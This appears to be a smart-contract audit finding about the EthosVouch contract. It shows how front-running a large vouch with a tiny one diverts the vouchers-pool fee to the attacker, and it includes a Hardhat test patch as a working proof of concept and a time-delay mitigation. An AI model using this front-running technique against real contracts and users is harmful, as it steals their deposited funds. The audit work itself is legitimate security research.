Skip to content

Latest commit

 

History

History
103 lines (90 loc) · 5.55 KB

File metadata and controls

103 lines (90 loc) · 5.55 KB

Overt Alabaster Cottonmouth

High

Attacker can front-run a vouching deposit & steal fee

Description & Impact

Functions vouchByProfileId() or vouchByAddress() and increaseVouch() where the author deposits funds internally call other fee distributing functions one of which is _rewardPreviousVouchers(). Here, all existing vouches are proportionally awarded a part of the vouchersPoolFee based on the ratio of their vouched amount to the total vouched amount. This can be used to game the system by an attacker in the following manner:

  • Assumption: Entry vouchers pool fee basis points = 10000 (for easy calculation). This effectively means 50% of the voucher's msg.value will be deducted as fee.

  • Normal Scenario:

    • Alice vouches 100 ETH for a subject by calling vouchByProfileId(). Since there is no other voucher the balance look like:
  • Attack Scenario:

    • Alice vouches 100 ETH for a subject by calling vouchByProfileId().
    • Bob (attacker) front-runs her tx and vouches 0.0001 ETH. Since he is the sole voucher, all fees gets redirected to him:
      • Bob gets 50% of 100 = 50 ETH as fee.
      • Alice's balance = 50 ETH

Note that while the aforementioned scenario is highly profitable for Bob since there were no pre-existing vouches, the issue still exists when there are vouches already in place. Only the magnitude of profitability for Bob decreases. Additionally, these other fee receivers (pre-existing vouchers) have a portion of their rightful fee stolen.

Proof of Concept

Apply the following patch inside test/EthosVouch.test.ts and see it pass when run via npm run hardhat -- test --grep "should demonstrate stealth of fee through front running":

diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts
index be4d7f1..c290ce9 100644
--- a/ethos/packages/contracts/test/EthosVouch.test.ts
+++ b/ethos/packages/contracts/test/EthosVouch.test.ts
@@ -131,13 +131,13 @@ describe('EthosVouch', () => {
         EXPECTED_SIGNER.address,
         signatureVerifierAddress,
         contractAddressManagerAddress,
         FEE_PROTOCOL_ACC.address,
         0, // Entry protocol fee basis points
         0, // Entry donation fee basis points
-        0, // Entry vouchers pool fee basis points
+        10000, // Entry vouchers pool fee basis points
         0, // Exit fee basis points
       ]),
     );
 
     await ethosVouchProxy.waitForDeployment();
     const ethosVouchAddress = await ethosVouchProxy.getAddress();
@@ -441,12 +441,52 @@ describe('EthosVouch', () => {
           'Wrong unhealthyResponsePeriod, 2',
         );
       });
     });
 
     describe('vouchByProfileId', () => {
+      it('should demonstrate stealth of fee through front running', async () => {
+        const {
+          ethosVouch,
+          PROFILE_CREATOR_0,
+          PROFILE_CREATOR_1,
+          VOUCHER_0,
+          VOUCHER_1,
+          ethosProfile,
+          OWNER,
+        } = await loadFixture(deployFixture);
+
+        // create a profile
+        await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
+        await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
+        await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address);
+        await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address);
+        await ethosProfile.connect(VOUCHER_0).createProfile(1);
+        await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);
+        await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1);
+        await ethosProfile.connect(VOUCHER_1).createProfile(1);
+
+        const attacker = VOUCHER_1;
+
+        // ============== FRONT-RUNNING Tx by the attacker ===============
+        // Attacker vouches 0.0001 ETH
+        await ethosVouch.connect(attacker).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+          value: ethers.parseEther('0.0001'),
+        });
+        // ===============================================================
+        
+        // Naive user's Tx: vouches 100 ETH
+        await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+          value: ethers.parseEther('100'),
+        });
+
+        // Verify stolen fee
+        const attackerVouch = await ethosVouch.vouches(0);
+        expect(attackerVouch.balance).to.be.gt(ethers.parseEther('50'));
+      });
+      
       it('should fail if no profile', async () => {
         const { ethosVouch, VOUCHER_0, ethosProfile, OWNER } = await loadFixture(deployFixture);
 
         await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
         await ethosProfile.connect(VOUCHER_0).createProfile(1);
 

Mitigation

It's recommended to have a time delay after an author deposits funds for vouching. Only after this time delay should they be eligible to receive a portion of the 'previous voucher fee'.